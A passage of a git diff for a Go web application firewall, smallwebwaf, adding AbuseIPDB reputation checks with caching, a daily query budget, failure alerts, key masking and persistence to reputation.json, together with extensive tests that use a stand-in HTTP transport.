other = "2001:db8::9" +) + +func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}} + checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams()) + + // A client that has committed no offence is not checked. + wantScore(t, checker, suspect, false, 0, false) + synctest.Wait() + wantChecked(t, abuseIPDB) + + // An offender is, and from then on its score is used, whether or not + // it is an offender. + wantScore(t, checker, suspect, true, 0, false) + synctest.Wait() + wantScore(t, checker, suspect, true, 100, true) + wantScore(t, checker, suspect, false, 100, true) + synctest.Wait() + wantChecked(t, abuseIPDB, suspect) + }) +} + +func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + // 15 addresses of 2001:db8:1:2::/64, one client, each in a part of + // it of its own. + var addresses []string + for i := 1; i < 16; i++ { + addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12)) + } + + abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{addresses[0]: 100}} + checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams()) + + // A request from each has the client checked once, by the first. + for _, address := range addresses { + hitFrom(t, checker, address, true) + } + + synctest.Wait() + wantChecked(t, abuseIPDB, addresses[0]) + + // Its score is the whole client's. + for _, address := range addresses { + wantScore(t, checker, address, true, 100, true) + } + + synctest.Wait() + wantChecked(t, abuseIPDB, addresses[0]) + }) +} + +func TestScoreAtOrOverTheMinimumIsAHit(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + scores := map[string]int64{"192.0.2.74": 74, "192.0.2.75": 75, "192.0.2.100": 100} + p := abuseIPDBParams() + p.MinScore = 75 + checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p) + + for client := range scores { + hitFrom(t, checker, client, true) + } + + synctest.Wait() + + for client, score := range scores { + wantScore(t, checker, client, true, score, score >= 75) + } + }) +} + +func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}} + checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams()) + + hitFrom(t, checker, suspect, true) + synctest.Wait() + + // AbuseIPDB gives another score from now on, but the one kept is + // used, and the client is not checked again, until the TTL has + // passed. + abuseIPDB.setScore(suspect, 80) + time.Sleep(cacheTTL - time.Nanosecond) + wantScore(t, checker, suspect, true, 100, true) + synctest.Wait() + wantChecked(t, abuseIPDB, suspect) + + // Then it is not used, and the client is checked again. + time.Sleep(time.Nanosecond) + wantScore(t, checker, suspect, true, 0, false) + synctest.Wait() + wantScore(t, checker, suspect, true, 80, true) + wantChecked(t, abuseIPDB, suspect, suspect) + }) +} + +func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + var log bytes.Buffer + + queue := newQueue() + p := abuseIPDBParams() + p.DailyBudget = 3 + p.Alerts = queue + p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) + abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}} + checker := newAbuseIPDB(abuseIPDB, p) + + // At noon, the first three offenders spend the budget, and the + // fourth, unchecked, is not. + time.Sleep(12 * time.Hour) + + const unchecked = "192.0.2.4" + + clients := []string{suspect, "192.0.2.2", "192.0.2.3", unchecked} + for _, client := range clients { + hitFrom(t, checker, client, true) + } + + synctest.Wait() + wantChecked(t, abuseIPDB, clients[:3]...) + wantBudgetLeft(t, checker, 0) + + // The check that used the budget up raised the alert, and logged it. + const usedUp = "the daily budget of AbuseIPDB checks is used up" + + wantFailureAlert(t, queue, time.Now(), usedUp, + "3 checks spent; none is made until the day ends at 00:00 UTC", 0) + + if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) { + t.Errorf("logged\n%s\nwant the budget used up", log.String()) + } + + // Restarted with what reputation.json keeps, it uses the scores, and + // checks no client until the day ends. + restarted := &abuseIPDBStandIn{} + again := newAbuseIPDB(restarted, p) + again.Load(checker.Snapshot()) + + wantScore(t, again, suspect, true, 100, true) + wantBudgetLeft(t, again, 0) + time.Sleep(12*time.Hour - time.Nanosecond) + wantScore(t, again, unchecked, true, 0, false) + synctest.Wait() + wantChecked(t, restarted) + + // At midnight the budget is whole again. + time.Sleep(time.Nanosecond) + wantBudgetLeft(t, again, 3) + wantScore(t, again, unchecked, true, 0, false) + synctest.Wait() + wantChecked(t, restarted, unchecked) + wantBudgetLeft(t, again, 2) + }) +} + +func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + // key is the key sent, status and body what AbuseIPDB answers with, + // and error the failure. + key, body string + status int + error string + }{ + { + "a refusal, past AbuseIPDB's own limit", key, + `{"errors":[{"detail":"Daily rate limit of 1000 requests exceeded"}]}`, + http.StatusTooManyRequests, "the server answered 429 Too Many Requests", + }, + { + "a refusal of a wrong key", "wrong-key-0123456789abcdef", "", 0, + "the server answered 401 Unauthorized", + }, + { + "a server failure", key, "", http.StatusInternalServerError, + "the server answered 500 Internal Server Error", + }, + { + "an answer without a score", key, `{"data":{"ipAddress":"` + suspect + `"}}`, + http.StatusOK, "the answer gives no abuseConfidenceScore", + }, + { + "an answer that is not JSON", key, "", http.StatusOK, + "read the answer: invalid character '<' looking for beginning of value", + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + var log bytes.Buffer + + queue := newQueue() + p := abuseIPDBParams() + p.Key = tc.key + p.Alerts = queue + p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) + abuseIPDB := &abuseIPDBStandIn{status: tc.status, body: tc.body} + checker := newAbuseIPDB(abuseIPDB, p) + + // The failure gives no score, and no client is checked within a + // minute of it. + wantScore(t, checker, suspect, true, 0, false) + synctest.Wait() + time.Sleep(time.Minute - time.Nanosecond) + wantScore(t, checker, other, true, 0, false) + synctest.Wait() + wantChecked(t, abuseIPDB, suspect) + wantFailures(t, checker, 1) + + time.Sleep(time.Nanosecond) + wantScore(t, checker, other, true, 0, false) + synctest.Wait() + wantChecked(t, abuseIPDB, suspect, other) + wantFailures(t, checker, 2) + + if scores := checker.Snapshot().Scores; len(scores) != 0 { + t.Errorf("scores %+v, want none", scores) + } + + // One alert for the first failure; the cooldown holds back the + // second. + wantFailureAlert(t, queue, time.Now().Add(-time.Minute), + "checking a client with AbuseIPDB failed", tc.error, 1) + + if !strings.Contains(log.String(), `"msg":"checking a client with `+ + `AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error) { + t.Errorf("logged\n%s\nwant the failures", log.String()) + } + }) + }) + } +} + +func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + queue := newQueue() + p := abuseIPDBParams() + p.Alerts = queue + abuseIPDB := &abuseIPDBStandIn{hanging: true} + checker := newAbuseIPDB(abuseIPDB, p) + began := time.Now() + + // The second, while the first's check is under way, starts none. + wantScore(t, checker, suspect, true, 0, false) + wantScore(t, checker, suspect, true, 0, false) + + if waited := time.Since(began); waited != 0 { + t.Errorf("waited %s for the check, want no wait", waited) + } + + time.Sleep(timeout - time.Nanosecond) + synctest.Wait() + wantChecked(t, abuseIPDB, suspect) + wantFailures(t, checker, 0) + + time.Sleep(time.Nanosecond) + synctest.Wait() + wantFailures(t, checker, 1) + wantFailureAlert(t, queue, time.Now(), "checking a client with AbuseIPDB failed", + "check the client: context deadline exceeded", 0) + }) +} + +func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + var log bytes.Buffer + + queue := newQueue() + p := abuseIPDBParams() + p.Alerts = queue + p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) + abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}} + checker := newAbuseIPDB(abuseIPDB, p) + m := metrics.New(1, "app") + m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams())) + m.AddAbuseIPDB(checker) + + // One check that AbuseIPDB answers, and one it refuses with an answer + // that names the key. + wantScore(t, checker, suspect, true, 0, false) + synctest.Wait() + wantScore(t, checker, suspect, true, 100, true) + + abuseIPDB.answerWith(http.StatusUnauthorized, `{"errors":[{"detail":"`+key+`"}]}`) + wantScore(t, checker, other, true, 0, false) + synctest.Wait() + wantFailures(t, checker, 1) + + abuseIPDB.mu.Lock() + sent := slices.Clone(abuseIPDB.keys) + abuseIPDB.mu.Unlock() + + if !slices.Equal(sent, []string{key, key}) { + t.Errorf("checks sent the keys %v, want %s twice", sent, key) + } + + alerted, err := json.Marshal(waiting(queue)) + if err != nil { + t.Fatalf("encode the alerts: %v", err) + } + + kept, err := json.Marshal(checker.Snapshot()) + if err != nil { + t.Fatalf("encode the checks: %v", err) + } + + for name, shown := range map[string]string{ + "the log": log.String(), "the alerts": string(alerted), + "the metrics": scrapeMetrics(t, m), "reputation.json": string(kept), + } { + if strings.Contains(shown, key) { + t.Errorf("%s shows the key:\n%s", name, shown) + } + } + }) +} + +func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + abuseIPDB := &abuseIPDBStandIn{} + p := abuseIPDBParams() + p.DailyBudget = 5 + checker := newAbuseIPDB(abuseIPDB, p) + m := metrics.New(1, "app") + m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams())) + m.AddAbuseIPDB(checker) + + // One check that AbuseIPDB answers, and one that fails. + hitFrom(t, checker, suspect, true) + synctest.Wait() + abuseIPDB.answerWith(http.StatusInternalServerError, "") + hitFrom(t, checker, other, true) + synctest.Wait() + + scraped := scrapeMetrics(t, m) + + for series, want := range map[string]string{ + "queries_total": "2", + "failures_total": "1", + "daily_budget_remaining": "3", + } { + line := "\nsmallwebwaf_reputation_" + series + + `{instance="app",source="abuseipdb"} ` + want + "\n" + if !strings.Contains(scraped, line) { + t.Errorf("metrics\n%s\nwant%s", scraped, line) + } + } + }) +} + +func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) { + t.Parallel() + + now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC) + p := abuseIPDBParams() + p.Now = func() time.Time { return now } + checker := reputation.NewAbuseIPDB(p) + + // The last score still in use, and one, of other's /64, fetched a TTL + // ago. + inUse := reputation.Score{ + Client: netip.MustParsePrefix(suspect + "/32"), Score: 100, + Fetched: now.Add(-cacheTTL + time.Nanosecond), + } + stale := reputation.Score{ + Client: netip.MustParsePrefix("2001:db8::/64"), Score: 100, + Fetched: now.Add(-cacheTTL), + } + + checker.Load(reputation.Checks{Scores: []reputation.Score{stale, inUse}}) + + wantScore(t, checker, suspect, false, 100, true) + wantScore(t, checker, other, false, 0, false) + + got := checker.Snapshot().Scores + if !reflect.DeepEqual(got, []reputation.Score{inUse}) { + t.Errorf("scores %+v, want only %+v", got, inUse) + } +} + +func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) { + t.Parallel() + + now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC) + p := abuseIPDBParams() + p.Now = func() time.Time { return now } + checker := reputation.NewAbuseIPDB(p) + + // 100,001 scores, listed by client, as reputation.json lists them, each + // fetched a millisecond before the one before it: the last is one too + // many. + const count = 100001 + + scores := make([]reputation.Score, 0, count) + + addr := netip.MustParseAddr("198.18.0.0") + for i := range count { + scores = append(scores, reputation.Score{ + Client: netip.PrefixFrom(addr, 32), + Fetched: now.Add(-time.Duration(i) * time.Millisecond), + }) + addr = addr.Next() + } + + checker.Load(reputation.Checks{Scores: scores}) + + got := checker.Snapshot().Scores + if len(got) != count-1 || !slices.Contains(got, scores[0]) || + slices.Contains(got, scores[count-1]) { + t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got)) + } +} + +// abuseIPDBStandIn is a stand-in for AbuseIPDB. It answers a check sent +// with key by the client's score, as scores gives it, 0 for a client it +// does not give; a check sent with another key with 401; and, while +// status is not 0, every check with status and body; and while hanging, +// none at all. It notes each client checked, and the key sent. +type abuseIPDBStandIn struct { + mu sync.Mutex + scores map[string]int64 + status int + body string + hanging bool + checked []string + keys []string +} + +// RoundTrip has the stand-in answer req, in place of the network. A check +// abandoned before the stand-in answers fails, as over the network. +func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) { + client := req.URL.Query().Get("ipAddress") + sent := req.Header.Get("Key") + + s.mu.Lock() + s.checked = append(s.checked, client) + s.keys = append(s.keys, sent) + score := s.scores[client] + status, body, hanging := s.status, s.body, s.hanging + s.mu.Unlock() + + switch { + case hanging: + <-req.Context().Done() + + return nil, req.Context().Err() + case sent != key: + status = http.StatusUnauthorized + case status == 0: + status = http.StatusOK + body = fmt.Sprintf(`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, client, + score) + } + + return &http.Response{ + StatusCode: status, + Status: fmt.Sprintf("%d %s", status, http.StatusText(status)), + Header: http.Header{}, + Body: io.NopCloser(strings.NewReader(body)), + Request: req, + }, nil +} + +// setScore has the stand-in give client score. +func (s *abuseIPDBStandIn) setScore(client string, score int64) { + s.mu.Lock() + defer s.mu.Unlock() + + s.scores[client] = score +} + +// answerWith has the stand-in answer every check with status and body. +func (s *abuseIPDBStandIn) answerWith(status int, body string) { + s.mu.Lock() + defer s.mu.Unlock() + + s.status, s.body = status, body +} + +// abuseIPDBParams returns the AbuseIPDBParams of the tests: key, a minimum +// score of 75, a daily budget of 900, and the cache TTL and timeout of the +// DNSBL tests, by the bubble's clock, with alerts to a queue that sends +// none. +func abuseIPDBParams() reputation.AbuseIPDBParams { + return reputation.AbuseIPDBParams{ + URL: "https://abuseipdb.example/api/v2/check", + Key: key, + MinScore: 75, + DailyBudget: 900, + CacheTTL: cacheTTL, + Timeout: timeout, + Now: time.Now, + ProcessLog: slog.New(slog.DiscardHandler), + Alerts: newQueue(), + } +} + +// newAbuseIPDB returns the AbuseIPDB of p, checking clients with +// abuseIPDB. +func newAbuseIPDB( + abuseIPDB *abuseIPDBStandIn, p reputation.AbuseIPDBParams, +) *reputation.AbuseIPDB { + checker := reputation.NewAbuseIPDB(p) + checker.SetTransport(abuseIPDB) + + return checker +} + +// wantScore checks the score checker gives client, and whether it is a +// hit, as a request from client finds them, offender or not. +func wantScore( + t *testing.T, checker *reputation.AbuseIPDB, client string, offender bool, + score int64, hit bool, +) { + t.Helper() + + gotScore, gotHit := hitFrom(t, checker, client, offender) + if gotScore != score || gotHit != hit { + t.Errorf("%s has the score %d, a hit %t, want %d, %t", client, gotScore, gotHit, + score, hit) + } +} + +// hitFrom is checker's Hit for a request from address, offender or not. +// Its client is address for an IPv4 address, and its /64 for an IPv6 one, +// as smallwebwaf counts clients. +func hitFrom( + t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool, +) (int64, bool) { + t.Helper() + + addr := netip.MustParseAddr(address) + + client := netip.PrefixFrom(addr, addr.BitLen()) + if addr.Is6() { + client = netip.PrefixFrom(addr, 64).Masked() + } + + return checker.Hit(t.Context(), client, addr, offender) +} + +// wantChecked checks the clients the stand-in was asked about, in any +// order. +func wantChecked(t *testing.T, abuseIPDB *abuseIPDBStandIn, want ...string) { + t.Helper() + + abuseIPDB.mu.Lock() + got := slices.Sorted(slices.Values(abuseIPDB.checked)) + abuseIPDB.mu.Unlock() + + want = slices.Sorted(slices.Values(want)) + + if !slices.Equal(got, want) { + t.Errorf("checked %v, want %v", got, want) + } +} + +// wantFailures checks how many checks failed. +func wantFailures(t *testing.T, checker *reputation.AbuseIPDB, want int) { + t.Helper() + + if got := checker.Failures(); got != want { + t.Errorf("%d checks failed, want %d", got, want) + } +} + +// wantFailureAlert checks that the one alert waiting in queue is a +// source_failure alert from AbuseIPDB, raised at raised, with reason and +// the error failure, and that the cooldown has held back held repeats of +// it. +func wantFailureAlert( + t *testing.T, queue *alerts.Queue, raised time.Time, reason, failure string, + held int64, +) { + t.Helper() + + got := waiting(queue) + if len(got) != 1 || !got[0].Time.Equal(raised) || + got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason || + got[0].Detail["source"] != reputation.AbuseIPDBSource || + got[0].Detail["error"] != failure || queue.Suppressed() != held { + t.Errorf("alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+ + "and %d", got, queue.Suppressed(), reason, failure, held) + } +} + +// wantBudgetLeft checks how many checks the day's budget has left. +func wantBudgetLeft(t *testing.T, checker *reputation.AbuseIPDB, want int) { + t.Helper() + + if got := checker.BudgetLeft(); got != want { + t.Errorf("%d checks left, want %d", got, want) + } +} + +// scrapeMetrics returns the metrics m serves. +func scrapeMetrics(t *testing.T, m *metrics.Metrics) string { + t.Helper() + + scraped := httptest.NewRecorder() + m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", + http.NoBody)) + + return scraped.Body.String() +} diff --git a/internal/reputation/dnsbl.go b/internal/reputation/dnsbl.go index 8eea45c..b85a146 100644 --- a/internal/reputation/dnsbl.go +++ b/internal/reputation/dnsbl.go @@ -20,16 +20,17 @@ import ( ) const ( - // maxVerdicts is how many verdicts are kept. Past it, the one fetched - // longest ago is dropped. + // maxVerdicts is how many verdicts of the DNSBL zones are kept, and how + // many scores of AbuseIPDB. Past it, the one fetched longest ago is + // dropped. maxVerdicts = 100000 // maxQueries is how many queries may be under way at once. Past it, a // zone is not asked about a client until the client's next request, so // that a swarm of new addresses cannot fill the memory. maxQueries = 1000 // failureDelay is how long a zone is not asked again after a query to - // it fails, so that a zone refusing queries is not asked on every - // request. + // it fails, and no client is checked with AbuseIPDB after a check + // fails, so that a source refusing them is not asked on every request. failureDelay = time.Minute ) @@ -261,11 +262,7 @@ func (d *DNSBL) ask(ctx context.Context, q query) { // Raised before it is logged, so that the alert is there once the // log line is. - d.params.Alerts.Raise(alerts.Alert{ - Event: alerts.EventSourceFailure, - Reason: failed, - Detail: map[string]any{"source": shown, "error": err.Error()}, - }) + raiseFailure(d.params.Alerts, failed, shown, err) d.params.ProcessLog.Warn(failed, "zone", shown, "error", err.Error()) } } diff --git a/internal/reputation/export_test.go b/internal/reputation/export_test.go index 6a77397..322a2d3 100644 --- a/internal/reputation/export_test.go +++ b/internal/reputation/export_test.go @@ -13,6 +13,12 @@ func (l *Lists) SetTransport(transport http.RoundTripper) { l.httpClient.Transport = transport } +// SetTransport has a's checks go through transport instead of the +// network. +func (a *AbuseIPDB) SetTransport(transport http.RoundTripper) { + a.httpClient.Transport = transport +} + // SetDial has d's queries go through dial instead of the network. func (d *DNSBL) SetDial( dial func(ctx context.Context, network, address string) (net.Conn, error), diff --git a/internal/reputation/reputation.go b/internal/reputation/reputation.go index cecb4b3..dc1a770 100644 --- a/internal/reputation/reputation.go +++ b/internal/reputation/reputation.go @@ -3,9 +3,10 @@ // SWWAF_ASN_LIMIT_PERCENT_URL names. It keeps the last good copy of each, // whole, comment lines included, which is used while a fetch fails, and // when each was last tried. It also asks the DNSBL zones of -// SWWAF_DNSBL_ZONES about clients, and keeps their verdicts. The state -// package writes all of these to reputation.json and reads them from it, -// so that a restart keeps them too. +// SWWAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks +// clients with AbuseIPDB, and keeps their scores and the checks spent +// today. The state package writes all of these to reputation.json and +// reads them from it, so that a restart keeps them too. package reputation import ( @@ -329,11 +330,7 @@ func (l *Lists) fetch(ctx context.Context, listURL string) { // Raised before it is logged, so that the alert is there once the // log line is. - l.params.Alerts.Raise(alerts.Alert{ - Event: alerts.EventSourceFailure, - Reason: failed, - Detail: map[string]any{"source": listURL, "error": err.Error()}, - }) + raiseFailure(l.params.Alerts, failed, listURL, err) l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error()) return @@ -342,6 +339,17 @@ func (l *Lists) fetch(ctx context.Context, listURL string) { l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines)) } +// raiseFailure raises a source_failure alert into queue, with reason, and +// in its detail the source that failed, a list's URL, a zone with its key +// masked or abuseipdb, and err. +func raiseFailure(queue *alerts.Queue, reason, source string, err error) { + queue.Raise(alerts.Alert{ + Event: alerts.EventSourceFailure, + Reason: reason, + Detail: map[string]any{"source": source, "error": err.Error()}, + }) +} + // get fetches the list at listURL, and returns its lines. An answer other // than 200, or a list longer than maxListBytes, is a failure. func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) { diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index 5fa85b5..523be75 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -36,7 +36,8 @@ const ( ActionRuleBlocked = "rule_blocked" // ActionDenied is a request refused because its client is in // SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny, - // or listed by a DNSBL zone while SWWAF_REPUTATION_ACTION is deny. + // or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while + // SWWAF_REPUTATION_ACTION is deny. ActionDenied = "denied" // ActionCountryDenied is a request refused for its client's country. ActionCountryDenied = "country_denied" @@ -139,7 +140,8 @@ type Line struct { // minute_bytes, hour_bytes or day_bytes for a byte limit. LimitHit string `json:"limit_hit,omitempty"` // Reputation are the URLs of the blocklists that list the client, then - // the DNSBL zones whose verdict lists it, their keys masked. + // the DNSBL zones whose verdict lists it, their keys masked, then + // abuseipdb when its score is a hit. Reputation []string `json:"reputation,omitempty"` // Offence is the offence the request was held as, OffenceLimit. Offence string `json:"offence,omitempty"` diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go index f55c680..f80dddf 100644 --- a/internal/smallwebwaf/smallwebwaf.go +++ b/internal/smallwebwaf/smallwebwaf.go @@ -21,6 +21,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/proxy" "sneak.berlin/go/smallwebwaf/internal/remotelog" + "sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/state" @@ -169,14 +170,15 @@ func newServer( } server := proxy.New(proxy.Params{ - Config: cfg, - RequestLog: stdout, - ProcessLog: processLog, - GeoJSURL: lookup.URL, - LookupFile: lookupFile, - Now: now, - Rules: ruleFiles, - Alerts: alertQueue, + Config: cfg, + RequestLog: stdout, + ProcessLog: processLog, + GeoJSURL: lookup.URL, + AbuseIPDBURL: reputation.AbuseIPDBURL, + LookupFile: lookupFile, + Now: now, + Rules: ruleFiles, + Alerts: alertQueue, }) server.Metrics.AddAlerts(alertQueue) @@ -202,6 +204,7 @@ func loadStateFiles( GeoJS: server.GeoJS, Lists: server.Lists, DNSBL: server.DNSBL, + AbuseIPDB: server.AbuseIPDB, Alerts: alertQueue, Anomalies: server.Anomalies, Now: now, diff --git a/internal/state/state.go b/internal/state/state.go index f164cb1..2698c1f 100644 --- a/internal/state/state.go +++ b/internal/state/state.go @@ -2,8 +2,8 @@ // SWWAF_STATE_DIR, as the "Persistent state" section of SPEC.md describes: // bans.json holds the bans, clients.json each client's counters and // history, lookups.json GeoJS's answers, reputation.json the last try and -// last good copy of each list fetched from a URL and the DNSBL zones' -// verdicts, and alerts.json the +// last good copy of each list fetched from a URL, the DNSBL zones' +// verdicts, and AbuseIPDB's scores and checks spent, and alerts.json the // cooldowns, the hour under way, the alerts waiting for each destination // and the anomaly counters. Load // reads them at start, Watch takes in an admin's edit of one while @@ -77,14 +77,15 @@ type Params struct { // is (SWWAF_STATE_COUNTER_INTERVAL). WriteDelay time.Duration CounterInterval time.Duration - // Ledger, Limiter, GeoJS, Lists, DNSBL, Alerts and Anomalies hold the - // state. Alerts also receive a file_error alert for an edit set aside, - // and for a write that fails while smallwebwaf runs. + // Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, Alerts and Anomalies + // hold the state. Alerts also receive a file_error alert for an edit set + // aside, and for a write that fails while smallwebwaf runs. Ledger *bans.Ledger Limiter *ratelimit.Limiter GeoJS *lookup.GeoJS Lists *reputation.Lists DNSBL *reputation.DNSBL + AbuseIPDB *reputation.AbuseIPDB Alerts *alerts.Queue Anomalies *anomaly.Counters // Now tells the time by which the counters' buckets run out, normally @@ -147,9 +148,10 @@ type lookupsFile struct { // reputationFile is reputation.json, indented for an admin to read and // edit, so that each line of a list's copy is on a line of its own. type reputationFile struct { - Version int `json:"version"` - Lists []reputation.List `json:"lists"` - Verdicts []reputation.Verdict `json:"verdicts"` + Version int `json:"version"` + Lists []reputation.List `json:"lists"` + Verdicts []reputation.Verdict `json:"verdicts"` + AbuseIPDB reputation.Checks `json:"abuseipdb"` } // alertsFile is alerts.json, indented for an admin to read and edit. @@ -436,6 +438,7 @@ func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) { } f.params.DNSBL.Load(file.Verdicts) + f.params.AbuseIPDB.Load(file.AbuseIPDB) entries = len(file.Lists) case alertsJSON: waiting, err := f.takeInAlerts(path, data) @@ -571,7 +574,7 @@ func (f *Files) encode(name string) ([]byte, error) { case reputationJSON: return encodeIndented(reputationFile{ Version: version, Lists: f.params.Lists.Snapshot(), - Verdicts: f.params.DNSBL.Snapshot(), + Verdicts: f.params.DNSBL.Snapshot(), AbuseIPDB: f.params.AbuseIPDB.Snapshot(), }) default: // alerts.json held := f.params.Alerts.Snapshot() @@ -736,9 +739,11 @@ func (f *lookupsFile) check(data []byte) error { // of it without the time it was fetched, or without its lines, which hold // the list. It refuses a verdict without its zone or its client, which // would be about no one, whether the zone lists the client, or the time -// it was fetched, which would drop it. A verdict's listed is false for a -// client the zone does not list, which Verdicts cannot tell from a -// missing one, so each listed is read again as written. +// it was fetched, which would drop it, and so an AbuseIPDB score without +// its client, the score, or the time it was fetched. A verdict's listed is +// false for a client the zone does not list, and a score can be 0, which +// the structs cannot tell from a missing one, so each is read again as +// written. func (f *reputationFile) check(data []byte) error { for i, kept := range f.Lists { switch { @@ -777,6 +782,36 @@ func (f *reputationFile) check(data []byte) error { } } + return checkScores(f.AbuseIPDB.Scores, data) +} + +// checkScores refuses an AbuseIPDB score, of scores, read from data, as +// reputationFile's check describes. +func checkScores(scores []reputation.Score, data []byte) error { + var written struct { + AbuseIPDB struct { + Scores []struct { + Score *int64 `json:"score"` + } `json:"scores"` + } `json:"abuseipdb"` + } + + err := json.Unmarshal(data, &written) + if err != nil { + return err + } + + for i, kept := range scores { + switch { + case !kept.Client.IsValid(): + return fmt.Errorf("abuseipdb scores %w", missing(i, "client")) + case written.AbuseIPDB.Scores[i].Score == nil: + return fmt.Errorf("abuseipdb scores %w", missing(i, "score")) + case kept.Fetched.IsZero(): + return fmt.Errorf("abuseipdb scores %w", missing(i, "fetched")) + } + } + return nil } diff --git a/internal/state/state_test.go b/internal/state/state_test.go index 4127e0e..7aef2c9 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -212,8 +212,9 @@ const filledAlertsJSON = `{ ` // filledReputationJSON is reputation.json holding the blocklists' last -// tries and the copy of one, with its comment line, and two verdicts of a -// DNSBL zone, as fill puts them in. +// tries and the copy of one, with its comment line, two verdicts of a +// DNSBL zone, and the AbuseIPDB checks spent today with two scores, as +// fill puts them in. const filledReputationJSON = `{ "version": 1, "lists": [ @@ -245,7 +246,23 @@ const filledReputationJSON = `{ "listed": false, "fetched": "2026-10-05T22:00:00Z" } - ] + ], + "abuseipdb": { + "day": "2026-10-06T00:00:00Z", + "spent": 3, + "scores": [ + { + "client": "203.0.113.9/32", + "score": 100, + "fetched": "2026-10-05T23:00:00Z" + }, + { + "client": "2001:db8::/64", + "score": 0, + "fetched": "2026-10-05T22:00:00Z" + } + ] + } } ` @@ -282,6 +299,11 @@ func TestFilesWrittenAndReadBack(t *testing.T) { wantEqual(t, reputationJSON, after.DNSBL.Snapshot(), before.DNSBL.Snapshot()) + checks, wantChecks := after.AbuseIPDB.Snapshot(), before.AbuseIPDB.Snapshot() + if !reflect.DeepEqual(checks, wantChecks) { + t.Errorf("%s read back\n%+v\nwant\n%+v", reputationJSON, checks, wantChecks) + } + if got, want := after.Alerts.Snapshot(), before.Alerts.Snapshot(); !reflect.DeepEqual( got, want) { t.Errorf("%s read back\n%+v\nwant\n%+v", alertsJSON, got, want) @@ -439,10 +461,13 @@ func TestMissingFilesAreEmptyState(t *testing.T) { load(t, params) held := params.Alerts.Snapshot() + checks := params.AbuseIPDB.Snapshot() + if len(params.Ledger.Snapshot()) != 0 || len(params.Limiter.Snapshot()) != 0 || len(params.GeoJS.Snapshot()) != 0 || len(params.Lists.Snapshot()) != 0 || - len(params.DNSBL.Snapshot()) != 0 || len(held.Cooldowns) != 0 || - len(held.Waiting[alerts.DestinationWebhook]) != 0 || held.Hour.Sent != 0 { + len(params.DNSBL.Snapshot()) != 0 || len(checks.Scores) != 0 || checks.Spent != 0 || + len(held.Cooldowns) != 0 || len(held.Waiting[alerts.DestinationWebhook]) != 0 || + held.Hour.Sent != 0 { t.Error("state from no files") } } @@ -678,6 +703,47 @@ func TestReputationJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { } } +func TestReputationJSONScoreWithoutAFieldItNeedsStopsTheStart(t *testing.T) { + t.Parallel() + + // scores opens the list of AbuseIPDB scores, and ends closes it; client, + // score and fetched make a score. + const ( + scores = `{"version": 1, "abuseipdb": {"scores": [` + client = `"client": "198.51.100.7/32", 